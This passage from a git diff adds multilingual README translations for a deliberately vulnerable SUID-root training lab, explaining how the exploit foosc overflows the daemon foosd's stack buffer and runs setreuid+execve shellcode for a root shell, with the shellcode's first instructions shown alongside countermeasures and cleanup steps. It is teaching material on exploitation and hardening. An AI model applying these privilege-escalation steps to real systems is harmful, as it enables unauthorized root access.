und behält root. */ +``` + +Deshalb beginnt der klassische `/bin/sh`-Shellcode, den du überall im Internet +findest, mit einem uid-leerenden Syscall — und deshalb ist der Shellcode hier +32 Bytes statt 23: Die ersten fünf Anweisungen sind + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Also, was ist der Exploit Ende-zu-Ende? + +1. `foosc` liest `foosd`s Banner über den Socket. Es bekommt: + - `ids=0/1000` — euid/ruid (die SUID-Selbstdiagnose) + - `stack=…` und `libc=…` — Pointer (die ASLR-Leaks) + - `BUF=…` — die exakte Adresse des Puffers, den es gleich überlaufen lässt +2. Aus dem Ziel-Binärprogramm (via `objdump`) lernt es `rip_off` und die + Adressen von `win()` / `win_root()`. +3. Aus *seiner eigenen* libc (via `/proc/self/maps` + `dlsym` + einen + Speicherscan) misst es die Offsets von `system`, `read`, `/bin/sh` und + eines `pop rdi; ret`-Gadgets — nichts ist hart verdrahtet. +4. Es setzt den Payload zusammen. Für `-t shellcode` ist das: + `[32-Byte-setreuid+execve-Code][Padding bis RIP][ret-Fix][Adresse von buf]`. +5. `foosd`s `read()` läuft über; `ret` landet auf dem Shellcode; der Kernel + führt `setreuid(0,0)` aus (ok: euid 0 ist privilegiert) und danach `execve` + von `/bin/sh`. bash startet mit `ruid == euid == 0` und bleibt root. +6. `foosc` leitet dein Terminal an diese Root-Shell weiter, bis du `exit` + tippst. + +Ein Details zur Absicherung, das Leute viel Zeit kostet, wenn es übersehen +wird: Der Exploit testet jedes uid-leerende Verhalten **ohne** das benötigte +Setuid-Bit zuerst. Führe `make test` vor `make setuid` aus, und du siehst jede +Technik eine Shell landen, während `ROOT=MISSING` dasteht; führe `make +test-suid` nach `make setuid` aus, und `ROOT=SEEN` erscheint bei den zwei +Techniken, die die reale uid leeren. Dieses A/B ist die ganze Lektion, +ausführbar in zehn Sekunden. + +--- + +## 6. Die alten Einzeiler — und warum die meisten von ihnen tot sind + +Wenn du über SUID gelesen hast, hast du über `PATH`-Hijacking, `LD_PRELOAD` +und Setuid-Shells gelesen. Alle drei sind klassisch, und alle drei scheitern +auf einem modernen System gegen *dieses Programm*. Es lohnt sich, genau zu +wissen, warum, denn die Gründe sind die Verteidigungen, die du gratis +bekommst: + +| Angriffsklasse | Alte Behauptung | Warum sie auf einem modernen Rechner scheitert | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` einer bösartigen Bibliothek | „Das Setuid-Programm lädt meine `.so` und führt meinen Code als root aus." | Der Kernel markiert ein Setuid-Binärprogramm als **AT_SECURE**; glibc ignoriert daraufhin `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` und Verwandtes. Die Umgebung wird als *unvertrauenswürdige Eingabe* behandelt. `LD_PRELOAD` gegen ein Setuid-Binärprogramm ist eine No-Operation. | +| `PATH`-Hijack (`system("ls")` mit vergiftetem PATH) | „Zeige PATH auf ein Verzeichnis mit meinem falschen `ls`; das Root-Programm führt es aus." | Ein zweites Gesicht derselben Verteidigung: Ein AT_SECURE-Prozess bekommt einen **bereinigten `PATH`** (einen sicheren Standard, in etwa `/usr/local/bin:/usr/bin:/bin`) für `system()`/`execvp`, sodass das vergiftete Verzeichnis nie konsultiert wird. | +| Setuid-`system()`-Befehlsinjektion | „Der injizierte Befehl läuft mit euid 0." | `system()` führt den Befehl in einer frischen `/bin/sh` aus, und diese Shell — §5.2 — setzt `euid = ruid` beim Start zurück. Der injizierte Befehl läuft mit der *realen* uid. (Es ist immer noch ein Bug; er eskaliert nur nicht mehr über `/bin/sh`.) | +| Setuid-Root-Shell auf der Platte (`cp /bin/sh /tmp; chmod u+s`) | „Führe sie aus, bekomme root." | Genau die Verteidigung oben, und das ist der Grund, warum moderne Distributionen keine Setuid-Root-Shell ausliefern. Selbst wenn dir eine gelingt, weigert sich bash, euid 0 zu behalten, sofern es nicht mit `-p` gestartet wird. | + +Was lebendig bleibt, und das ist dieses Labor: **Das Programm ist beim Laufen +*bereits* root.** Du brauchst weder die Umgebung noch `system()`; du brauchst, +dass das Programm *deinen* Code (über einen Memory-Corruption-Bug) ausführt, +solange es privilegiert ist, und dein Code muss vorsichtig genug sein, den +uid-Mismatch selbst zu beheben — `setreuid(0,0)` — bevor er dir eine Shell +übergibt. Memory Corruption + SUID ist die Kombination, die immer noch in +`uid=0` endet, und genau deshalb sind speichersichere Sprachen, Canaries und +No-Execute-Stacks keine Modeentscheidung. + +--- + +## 7. Die in den Daemon eingebauten Sicherheitsleitplanken + +`foosd` ist absichtlich das *schlechteste* Stück Software in diesem +Repository, also trägt es auch die meisten Leitplanken: + +1. **Nur Loopback, erzwungen.** `foosd` weigert sich, eine andere Adresse als + Loopback zu binden, sofern du nicht `-L` übergibst. Ein Setuid-Root-Listener + auf einer echten Schnittstelle ist ein entfernter Root-Dienst; die Weigerung + ist der Standard, damit der gefährliche Zustand bewusst eingetippt werden + muss. +2. **Selbstdiagnose.** Beim Start loggt es `ruid`/`euid` und ob es als root + läuft, sodass die Konsole den Zustand zeigt, von dem der Exploit abhängt. +3. **Das Log erreicht den Client nie.** Der Daemon reserviert einen privaten + Log-Deskriptor, bevor Sockets fd 1 ersetzen, sodass Crash-Reporter-Ausgabe + und interne Pfade vom Angreifer nicht über die Leitung zurückgelesen werden + können. +4. **Crash-Reporter.** Ein SIGSEGV-Handler loggt `RIP`/`RSP` — den Wert, den + der Angreifer in die Rücksprungadresse geschrieben hat — sodass eine + erfolgreiche Übernahme in `foosd.log` sichtbar ist, statt ein stiller Tod zu + sein. +5. **`make unsetuid`.** Das Entfernen des Bits ist skriptiert, denn es gesetzt + zu lassen ist der Ausfallmodus, den Leute tatsächlich haben. + +--- + +## 8. Gegenmaßnahmen — was jede stoppt und was nicht + +Angewendet auf `foosd` via `make hardened`, einzeln oder zusammen: + +| Gegenmaßnahme | Was sie stoppt | Was sie *nicht* stoppt | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (Canary) | Den Overflow: `ret` erkennt einen zerstörten Canary und bricht ab, bevor die Adresse des Angreifers verwendet wird. Stoppt hier **alle vier** Techniken — sie teilen sich das eine angreifbare `read()`. | Nichts am *Design*: Das Binärprogramm ist immer noch setuid-root; ein anderer Bug (Format-String-`%n`, Heap-Overflow, Use-after-Free) hat keinen Canary zum Auslösen. | +| `-fPIE -pie` (ASLR für das Binärprogramm) | Nutzung vorhersagbarer `win()`/`win_root()`-Adressen (die ret2win-Techniken). | Die Shellcode-Technik, wenn weiterhin eine Stack-Adresse leakt (die `BUF=`-Zeile). | +| `-z noexecstack` (NX / W^X) | Den Shellcode: Die CPU weigert sich, Befehle von einer daten-only-Seite zu holen, sodass ein Sprung auf `buf` ein SIGSEGV ist. | ROP — das Ausführen vorhandenen Codes (`ret2libc`). | +| Alle drei zusammen | Ein schwer zu überlaufendes, randomisiertes Binärprogramm mit nicht-ausführbarem Stack. So sieht ein normaler gehärteter Build aus. | Das Setuid-Bit. **Ein gehärtetes SUID-Binärprogramm ist immer noch ein SUID-Binärprogramm.** Wenn irgendein erreichbarer Speichersicherheitsbug überlebt, ist es immer noch „Bug in einem Root-Prozess". | + +Der Konsolenbeweis ist `make test-hardened`, das den gehärteten Build +eintauscht und zeigt, wie alle Techniken am Canary sterben, während +`foosd_hardened.log` `*** stack smashing detected ***` aufzeichnet. + +Zwei Designebenen-Gegenmaßnahmen, die keine Compiler-Flag liefert und die auch +das übergeordnete Labor (`food`) nutzt: + +- **Least Privilege.** Ein Daemon für einen unprivilegierten Port (2343 > 1024) + hat keinen legitimen Bedarf an root. Ein korrektes `foosd` würde binden und + dann `setgroups`/`setgid`/`setuid` auf ein unprivilegiertes Konto ausführen + und *verifizieren, dass es hielt* (die korrekte Version steht im Quellcode + als `drop_privs()`, nie aufgerufen — die Nicht-Aufrufung ist Bug #3 des + Labors). +- **Das read begrenzen.** `n = read(fd, buf, sizeof(buf) - 1)`. Eine korrekte + Zeile schlägt jede Compiler-Flag in der Tabelle. + +--- + +## 9. Das Wire-Protokoll (damit du den Daemon mit netcat lesen kannst) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — durfte nicht als `euid=`/`ruid=` gedruckt werden, weil die + Test-Harness eine Shell anhand des wörtlichen `uid=` beweist und das Banner + es nicht enthalten darf (eine Sonde, die die Signatur mit der Antwort teilt, + ist eine klassische Fehlpositiv-Falle; siehe den Kommentar in `foosd.c`). + Die Harness verlangt außerdem die strenge `id`-Ausgabeform — `uid=NNN(...)` — + sodass nichts, was der Daemon oder der Exploit druckt, die Prüfung zufällig + erfüllen kann: `foosc`s eigenes „target euid=… ruid=…" enthält `uid=` als + Teilstring, was einmal einen gehärteten Test eine nie gelaufene Shell melden + ließ. +* `stack=`, `libc=`, `BUF=` — die ASLR-Leaks: erlauben Shellcode und ret2libc, + exakte Adressen zu berechnen. + +--- + +## 10. Übungen + +1. **Beobachte die Nicht-Root-Abstufung.** Führe `make test` *vor* `make + setuid` aus, dann danach erneut. Erkläre die `ROOT=SEEN`-Änderung mit der + ruid/euid-Geschichte aus §5.2. +2. **Lies den Absturz.** Führe `./foosc -t demo -n` aus und lies dann + `foosd.log`. Die Zeile `RIP=0x4141414141414141` ist das Padding des + Angreifers — der Beweis, dass der Overflow, nicht Pech, die Ausführung + kontrolliert. +3. **Füge den Canary hinzu.** `make hardened` und ändere die + `test-hardened`-Schleife selbst; die Log-Zeile + `*** stack smashing detected ***` ist die arbeitende Verteidigung. +4. **Deaktiviere das Leak.** Kommentiere die `BUF=`-Zeile in `foosd.c` aus, + baue neu und beobachte, wie `-t shellcode` von deterministisch zu einem + Ratespiel wird. Diese eine Zeile ist der Grund, warum echte + ASLR-Bypasses ein ganzes Feld sind. +5. **Das `-p`-Experiment.** Ändere in einer Kopie von `win()` `execl("/bin/sh", + "sh", NULL)` zu `execl("/bin/sh", "sh", "-p", NULL)` und beobachte root. + `-p` ist die dokumentierte Notluke aus dem Wächter der Shell — und der + Grund, warum der Rat „spawne einfach eine Shell" aus alten Write-ups + unvollständig ist. +6. **Warum nicht `setuid(0)`?** Schreibe den Shellcode so um, dass er + `setuid(0)` statt `setreuid(0,0)` aufruft (Syscall 105). Die Shell landet + trotzdem — und fällt trotzdem auf `uid=1000`. Das ist das lehrreichste + Ein-Zeilen-Experiment im gesamten Repository. + +--- + +## 11. Sicherheit und Aufräumen + +- Nur Loopback, standardmäßig und per Design; `-L` bindet weiter, und nur eine + Wegwerf-VM sollte es überhaupt in Betracht ziehen. +- Dies ist ein Root-Shell-Labor. Führe es nicht auf einer Maschine aus, die + wichtig ist, und richte `foosc -h` nicht auf etwas, das dir nicht gehört. +- Aufräumritual: `make stop` und dann `make unsetuid`, und wenn du den Baum + wieder makellos willst: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.DK.md b/suid/README.DK.md new file mode 100644 index 0000000..7e5dec7 --- /dev/null +++ b/suid/README.DK.md @@ -0,0 +1,389 @@ +# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit) + +En ledsager til det overordnede laboratorium (`food` / `fooc`, en almindelig +daemon, hvor et bufferoverløb giver dig en *bruger*-shell). Dette tilføjer den +farligste en-tegns-ændring i Unix: **setuid-bitten**. + +> `chmod u+s` forvandler "angriberen kan køre kode på denne host" til +> "angriberen kan køre kode som **root** på denne host". + +Den sætning er hele laboratoriet. Alt herunder er mekanismen under den, skrevet +ned, så du, når du skriver din egen software, præcist ved, hvilke to eller tre +filsystem-attributter og compiler-flag der afgør, om en +hukommelsessikkerhedsfejl i din kode er en gene eller en root-shell. + +Den endelige demo, når `foosd` er setuid-root, er en **root-shell**, der åbnes +over netværket ved at udføre 32 bytes håndskrevet shellcode. + +--- + +## 1. Hvad setuid-bitten rent faktisk gør + +Hver proces på Linux bærer tre user-ID'er, og setuid-bitten piller ved +forholdet mellem dem: + +| ID | Navn | Betydning | +|----|------|---------| +| `ruid` | reelle user-ID | kontoen, der *startede* processen | +| `euid` | effektive user-ID | det, kernen tjekker, når den håndhæver adgang | +| (saved) | gemte set-user-ID | en "slot", en privilegeret proces må vende tilbage til senere | + +Et normalt program har `ruid == euid`. Når du udfører en binærfil med +setuid-bitten sat, ejet af root: + +```text +ruid = dig (fx. 1000, "hanez") +euid = ejeren (fx. 0, "root") +``` + +Processen har derfor **roots autoritet**, selvom brugeren, der startede den, er +helt almindelig. Hvert tjek, kernen udfører — kan denne proces læse +`/etc/shadow`? skrive en fil? dræbe en anden proces? — besvares med `euid`, +dvs. "ja, den er root". + +`foosd` er en netværksdaemon. Den binder en port og `fork()`er derefter et barn +per forbindelse. En fork *arver* euid'en, så hvert barn, der håndterer en +forbindelse, også er root. Overløbet i `foosd`s `vulnerable_handler()` er +derfor et overløb *inde i en root-proces*. + +**Diagnosticér det selv, når daemonen kører:** + +```console +$ ./foosd ... # se den loglinje, den printer ved start +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +og fra exploitet: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Laboratoriet ved et øjekast + +| Fil | Rolle | +|------|------| +| `foosd.c` | Den bevidst sårbare daemon (ejer fejlene). Kør som *setuid-root*-binærfil til root-shell-demoen. | +| `foosc.c` | Exploitet. Bruger som standard den 32-byte `setreuid + execve`-shellcode-teknik. | +| `shellcode.S` | Reference-shellcoden; `make verify` diff'er den mod byte-arrayet i `foosc.c`. | +| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gennem et pseudo-terminal og beviser både "en shell kørte" *og* "den var root" (`uid=0(`). | +| `Makefile` | Build, `setuid`/`unsetuid`-hjælpere, testmatrix. | +| `README.md` | Denne fil. | + +> **Hvorfor en pty?** Exploitets sidste handling er at videresende din terminal +> til shellen, der udfører på offeret. En pipe eller her-doc lander i den +> forkerte ende af den videresendelse; en ægte terminal er påkrævet. + +--- + +## 3. Hurtig start + +```console +$ make # byg alt, som din normale bruger +$ make setuid # én gang, spørger om sudo: chown root + chmod u+s +$ make run # start foosd på 127.0.0.1:2343 +$ make test-suid # fuld matrix; shellcode + ret2win-root skal give root +``` + +Interaktiv rygeprøve: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret +# exit +``` + +Når du er færdig: + +```console +$ make stop +$ make unsetuid # hygiejne: efterlad aldrig en root-SUID-binærfil +``` + +--- + +## 4. *Hvornår skal jeg sætte SUID-bitten?* — svaret, du bad om + +Præcis **én gang, efter bygningen, før du starter daemonen til +root-shell-demoerne** — og kun på en maskine, der er din, velegnet til at smide +væk og frakoblet netværket: + +```console +$ make # kompilér foosd, foosc, tests +$ make setuid # <-- ØJEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # start EFTER at have sat bitten +``` + +To regler, der betyder mere end det præcise tidspunkt: + +1. **Sæt den kun, når binærfilen er færdig.** Hvis du genbygger (`make` / + `make clean`), efter du har sat bitten, rammer du et "Permission denied", + når du skriver root-ejede outputfiler — og hvis du tvinger genbygningen, + genskaber værktøjskæden filen **uden** `s`-en og fortryder stille og roligt + opsætningen. Den kanoniske rækkefølge ved enhver genbygning er derfor + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Fjern den, når du er færdig.** `make unsetuid`. En levende, + root-ejet setuid-binærfil med en udnyttelig fejl i dit træ er ikke et + læremiddel, det er et root-hul med en kompileringsfejl mellem sig og + ingenting. På en delt eller produktionsmaskine: **lav ikke noget af + dette.** Daemonen nægter desuden som standard at binde andet end loopback + (se §7). + +Hvis du kører exploitet *uden* nogensinde at sætte bitten, går intet i stykker +— payloaden lander stadig, og du får stadig en shell. Forskellen er i ét tal, +og exploitet siger det højt: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +Det "virker, men ikke root"-resultat er selv en del af laboratoriet. Husk det +til næste afsnit. + +--- + +## 5. Mekanismen — og drejningen, der gør SUID interessant + +### 5.1 Overløbet (identisk med `food`) + +`foosd`s handler giver et `read()` 512 bytes tillid, mens den rækker den et +64-byte stack-buffer: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */ +``` + +På x86-64 vokser stacken nedad. Exploitet skriver 64 bytes junk for at fylde +`buf`, 8 for at fylde den gemte framepointer og 8 mere for at erstatte den +**gemte returadresse**. Når `vulnerable_handler` udfører `ret`, popper CPU'en +angriberens værdi ind i `RIP` — angriberkontrolleret kodeudførelse. Exploitet +finder den præcise afstand (88 bytes for denne build) ved at parse +`objdump`-output i stedet for at hardkode det, så tallet overlever genbygninger. + +### 5.2 Drejningen: shellen nægter at være root + +Her er det, hvor at tænke "SUID-fejl → spawn /bin/sh → root" ville gå galt, og +hvorfor dette laboratorium har præcis den form, det har. + +Når et setuid-root-program kører, er dets `ruid` stadig den startende bruger, +og dets `euid` er root. Hvis programmet — eller angriberen — nu starter en +shell: + +* `execve("/bin/sh")` ændrer **ikke** uiderne; den nye proces arver + `(ruid=1000, euid=0)`. +* bash (og dash) **tjekker præcis den tilstand ved start**. Fra bash-manualen: + *"If the shell is started with the effective user (group) id not equal to + the real user (group) id, and the -p option is not supplied, … the effective + user id is set to the real user id."* + +Så shellen kigger på sig selv og *dropper root* — et forsvar, som +shell-forfatterne byggede præcis mod dette angreb (den historiske begrundelse +var setuid-shell-/setuid-script-problemet). Resultatet er "virker, men ikke +root"-tilfældene: + +| Teknik | Hvad den udfører | Resulterende uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landede, root nulstillet af bash | +| `ret2libc` | `system("/bin/sh")` → frisk `sh -c '/bin/sh'` | **1000** — samme nulstilling, et niveau nede | +| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode | + +De to, der når root, adskiller sig fra de to, der ikke gør, med præcis én idé: +**de rydder den *reelle* uid, ikke kun den effektive.** + +```c +setuid(0) /* sætter euid til 0, men ruid forbliver 1000: + bash ser stadig euid != ruid og nulstiller STADIG. */ +setreuid(0, 0) /* sætter BEGGE: ruid = euid = 0. + bash ser lige uider og beholder root. */ +``` + +Det er derfor, den klassiske `/bin/sh`-shellcode, du finder overalt på +internettet, starter med et uid-ryddende syscall — og det er grunden til, at +shellcoden her er 32 bytes i stedet for 23: de første fem instruktioner er + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Så hvad er exploitet, ende til ende? + +1. `foosc` læser `foosd`s banner over socket'en. Det får: + - `ids=0/1000` — euid/ruid (SUID-selvdiagnosen) + - `stack=…` og `libc=…` — pointers (ASLR-leaksene) + - `BUF=…` — den nøjagtige adresse på det buffer, den er ved at løbe over +2. Fra target-binærfilen (via `objdump`) lærer det `rip_off` og adresserne på + `win()` / `win_root()`. +3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et hukommelsesscan) + måler det offsets for `system`, `read`, `/bin/sh` og et + `pop rdi; ret`-gadget — intet er hardkodet. +4. Det samler payloaden. For `-t shellcode` er det: + `[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`. +5. `foosd`s `read()` løber over; `ret` lander på shellcoden; kernen udfører + `setreuid(0,0)` (fint: euid 0 er privilegeret) og derefter `execve` af + `/bin/sh`. bash starter med `ruid == euid == 0` og forbliver root. +6. `foosc` videresender din terminal til den root-shell, indtil du skriver + `exit`. + +Én bekvemmelighedsdetalje, der koster folk meget tid, hvis den overses: +exploitet tester hver uid-ryddende adfærd **uden** først at have brug for +setuid-bitten. Kør `make test` før `make setuid`, og du vil se hver teknik +lande en shell, mens `ROOT=MISSING` står; kør `make test-suid` efter `make +setuid`, og `ROOT=SEEN` dukker op ved de to teknikker, der rydder den reelle +uid. Det A/B er hele lektionen, udførligt på ti sekunder. + +--- + +## 6. De gamle one-liners — og hvorfor de fleste af dem er døde + +Har du læst om SUID, har du læst om `PATH`-kapring, `LD_PRELOAD` og +setuid-shells. Alle tre er klassiske, og alle tre fejler på et moderne system +mod *dette program*. Det er værd at vide præcis hvorfor, fordi grundene er de +forsvar, du får gratis: + +| Angrebsklasse | Gamle påstand | Hvorfor den fejler på en moderne maskine | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` af et ondsindet bibliotek | "Setuid-programmet loader min `.so` og kører min kode som root." | Kernen markerer en setuid-binærfil som **AT_SECURE**; glibc ignorerer derefter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *utroverdig input*. `LD_PRELOAD` mod en setuid-binærfil er en no-op. | +| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | "Peg PATH mod et bibliotek med min falske `ls`; root-programmet kører den." | Et andet ansigt af samme forsvar: en AT_SECURE-proces får en **saneret `PATH`** (en sikker standard, nogenlunde `/usr/local/bin:/usr/bin:/bin`) til `system()`/`execvp`, så det forgiftede bibliotek aldrig konsulteres. | +| Setuid-`system()`-kommandoinjektion | "Den injicerede kommando kører med euid 0." | `system()` kører kommandoen i en frisk `/bin/sh`, og den shell — §5.2 — nulstiller `euid = ruid` ved start. Den injicerede kommando udføres med den *reelle* uid. (Det er stadig en fejl; den eskalerer bare ikke længere gennem `/bin/sh`.) | +| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | "Kør den, få root." | Præcis forsvaret ovenfor, og det er grunden til, at moderne distroer ikke leverer nogen setuid-root-shell. Selv når det lykkes at lave én, nægter bash at beholde euid 0, medmindre den startes med `-p`. | + +Hvad der forbliver i live, og det er dette laboratorium: **programmet er +*allerede* root, når det kører.** Du behøver ikke miljøet eller `system()`; du +har brug for, at programmet udfører *din* kode (via en +hukommelseskorruptionsfejl), mens det er privilegeret, og din kode skal være +omhyggelig nok til selv at rette uid-mismatchet — `setreuid(0,0)` — før den +overrækker dig en shell. Hukommelseskorruption + SUID er kombinationen, der +stadig ender i `uid=0`, hvilket er præcis hvorfor hukommelsessikre sprog, +canaries og no-execute-stacks ikke er en modebeslutning. + +--- + +## 7. De sikkerhedsgelændere, der er bygget ind i daemonen + +`foosd` er bevidst det *dårligste* stykke software i dette repository, så det +bærer også flest gelændere: + +1. **Kun loopback, håndhævet.** `foosd` nægter enhver bind-adresse ud over + loopback, medmindre du giver `-L`. En setuid-root-listener på en rigtig + grænseflade er en fjern root-tjeneste; afslaget er standarden, så den + farlige tilstand skal skrives bevidst ind. +2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kører som + root, så konsollen viser den tilstand, exploitet afhænger af. +3. **Loggen når aldrig klienten.** Daemonen reserverer en privat + log-descriptor, før sockets erstatter fd 1, så crash-reporter-output og + interne stier ikke kan læses tilbage over ledningen af angriberen. +4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den værdi, + angriberen skrev ind i returadressen — så en vellykket kapring er synlig i + `foosd.log` i stedet for at være en stille død. +5. **`make unsetuid`.** Fjernelse af bitten er scriptet, fordi at efterlade den + sat er den fiaskotilstand, folk rent faktisk har. + +--- + +## 8. Modforanstaltninger — hvad hver stopper, og hvad den *ikke* stopper + +Anvendt på `foosd` via `make hardened`, én ad gangen eller sammen: + +| Modforanstaltning | Hvad den stopper | Hvad den *ikke* stopper | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | Overløbet: `ret` opdager en smadret canary og abort'er, før angriberens adresse bruges. Stopper her **alle fire** teknikker — de deler det ene sårbare `read()`. | Intet ved *designet*: binærfilen er stadig setuid-root; en anden fejl (format-string-`%n`, heap-overflow, use-after-free) har ingen canary at udløse. | +| `-fPIE -pie` (ASLR for binærfilen) | Brug af forudsigelige `win()`/`win_root()`-adresser (ret2win-teknikkerne). | Shellcode-teknikken, hvis en stack-adresse stadig lækker (`BUF=`-linjen). | +| `-z noexecstack` (NX / W^X) | Shellcoden: CPU'en nægter at hente instruktioner fra en data-only-side, så et hop til `buf` er et SIGSEGV. | ROP — at køre kode, der allerede findes (`ret2libc`). | +| Alle tre sammen | En svær-at-overløbe, randomiseret binærfil med ikke-eksekverbar stack. Sådan ser en normal hærdet build ud. | Setuid-bitten. **En hærdet SUID-binærfil er stadig en SUID-binærfil.** Hvis nogen nåbar hukommelsessikkerhedsfejl overlever, er det stadig "fejl i en root-proces". | + +Konsolbeviset er `make test-hardened`, som bytter den hærdede build ind og viser +alle teknikker dø ved canaryen, mens `foosd_hardened.log` optager +`*** stack smashing detected ***`. + +To designniveau-modforanstaltninger, som intet compiler-flag leverer, og som det +overordnede laboratorium (`food`) også bruger: + +- **Least privilege.** En daemon til en uprivilegeret port (2343 > 1024) har + intet legitimt behov for root. En korrekt `foosd` ville binde og derefter + `setgroups`/`setgid`/`setuid` til en uprivilegeret konto og *bekræfte, at det + holdt* (den korrekte version står i kilden som `drop_privs()`, aldrig kaldt — + ikke-kaldelsen er laboratoriets fejl nr. 3). +- **Begræns read'et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje + overgår hvert compiler-flag i tabellen. + +--- + +## 9. Wire-protokollen (så du kan læse daemonen med netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — kunne ikke printes som `euid=`/`ruid=`, fordi test-harnessen + beviser en shell ved at greppe efter det bogstavelige `uid=`, og banneret må + ikke indeholde det (en sonde, der deler signatur med svaret, er en klassisk + falsk-positiv-fælde; se kommentaren i `foosd.c`). Harnessen kræver desuden + den strenge `id`-outputform — `uid=NNN(...)` — så intet, daemonen eller + exploitet printer, kan opfylde tjekket ved et tilfælde: `foosc`s eget + "target euid=… ruid=…" indeholder `uid=` som delstreng, hvilket engang fik en + hærdet test til at melde en shell, der aldrig havde kørt. +* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lader shellcode og ret2libc + beregne eksakte adresser. + +--- + +## 10. Øvelser + +1. **Betragt ikke-root-nedgraderingen.** Kør `make test` *før* `make setuid`, + og derefter igen bagefter. Forklar `ROOT=SEEN`-ændringen med + ruid/euid-historien i §5.2. +2. **Læs nedbruddet.** Kør `./foosc -t demo -n` og læs derefter `foosd.log`. + Linjen `RIP=0x4141414141414141` er angriberens padding — beviset på, at + overløbet, ikke uheld, kontrollerer udførelsen. +3. **Tilføj canaryen.** `make hardened` og ændr selv `test-hardened`-løkken; + loglinjen `*** stack smashing detected ***` er forsvaret, der virker. +4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ud, genbyg, og se + `-t shellcode` gå fra deterministisk til et gættespil. Den ene linje er + grunden til, at ægte ASLR-bypasses er et helt felt. +5. **`-p`-eksperimentet.** Ændr i en kopi af `win()` `execl("/bin/sh", "sh", + NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er + den dokumenterede nødudgang fra shellens vagt — og grunden til, at rådet + "spawn bare en shell" fra gamle write-ups er ufuldstændigt. +6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til at kalde `setuid(0)` + i stedet for `setreuid(0,0)` (syscall 105). Shellen lander stadig — og + falder stadig til `uid=1000`. Det er det mest lærerige en-linjes-eksperiment + i hele repositoryet. + +--- + +## 11. Sikkerhed og oprydning + +- Kun loopback, som standard og efter design; `-L` binder længere, og kun en + velegnet-til-at-smid-væk-VM bør overhovedet overveje det. +- Dette er et root-shell-laboratorium. Kør det ikke på en maskine, der + betyder noget, og peg ikke `foosc -h` mod noget, du ikke ejer. +- Oprydningsritual: `make stop` og derefter `make unsetuid`, og hvis du vil + have træet pletfrit igen: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.ES.md b/suid/README.ES.md new file mode 100644 index 0000000..c2a80b4 --- /dev/null +++ b/suid/README.ES.md @@ -0,0 +1,399 @@ +# Laboratorio de RCE root por SUID — `foosd` (demonio) + `foosc` (exploit) + +Un compañero del laboratorio principal (`food` / `fooc`, un demonio normal donde +un desbordamiento de búfer te da un shell de *usuario*). Este añade el cambio de +un solo carácter más peligroso de Unix: **el bit setuid**. + +> `chmod u+s` convierte "el atacante puede ejecutar código en este host" en "el +> atacante puede ejecutar código como **root** en este host". + +Esa frase es todo el laboratorio. Todo lo que sigue es el mecanismo que tiene +debajo, escrito, para que cuando escribas tu propio software sepas +exactamente qué dos o tres atributos del sistema de archivos y flags del +compilador deciden si un error de seguridad de memoria en tu código es una +molestia o un shell root. + +La demo final, cuando `foosd` es setuid-root, es un **shell root** abierto a +través de la red ejecutando 32 bytes de shellcode escrita a mano. + +--- + +## 1. Qué hace realmente el bit setuid + +Cada proceso en Linux lleva tres user-ID, y el bit setuid toca la relación +entre ellos: + +| ID | Nombre | Significado | +|----|------|---------| +| `ruid` | user-ID real | la cuenta que *inició* el proceso | +| `euid` | user-ID efectivo | lo que el kernel comprueba al imponer el acceso | +| (saved) | set-user-ID guardado | una "ranura" a la que un proceso privilegiado puede volver más tarde | + +Un programa normal tiene `ruid == euid`. Cuando ejecutas un binario con el bit +setuid puesto, propiedad de root: + +```text 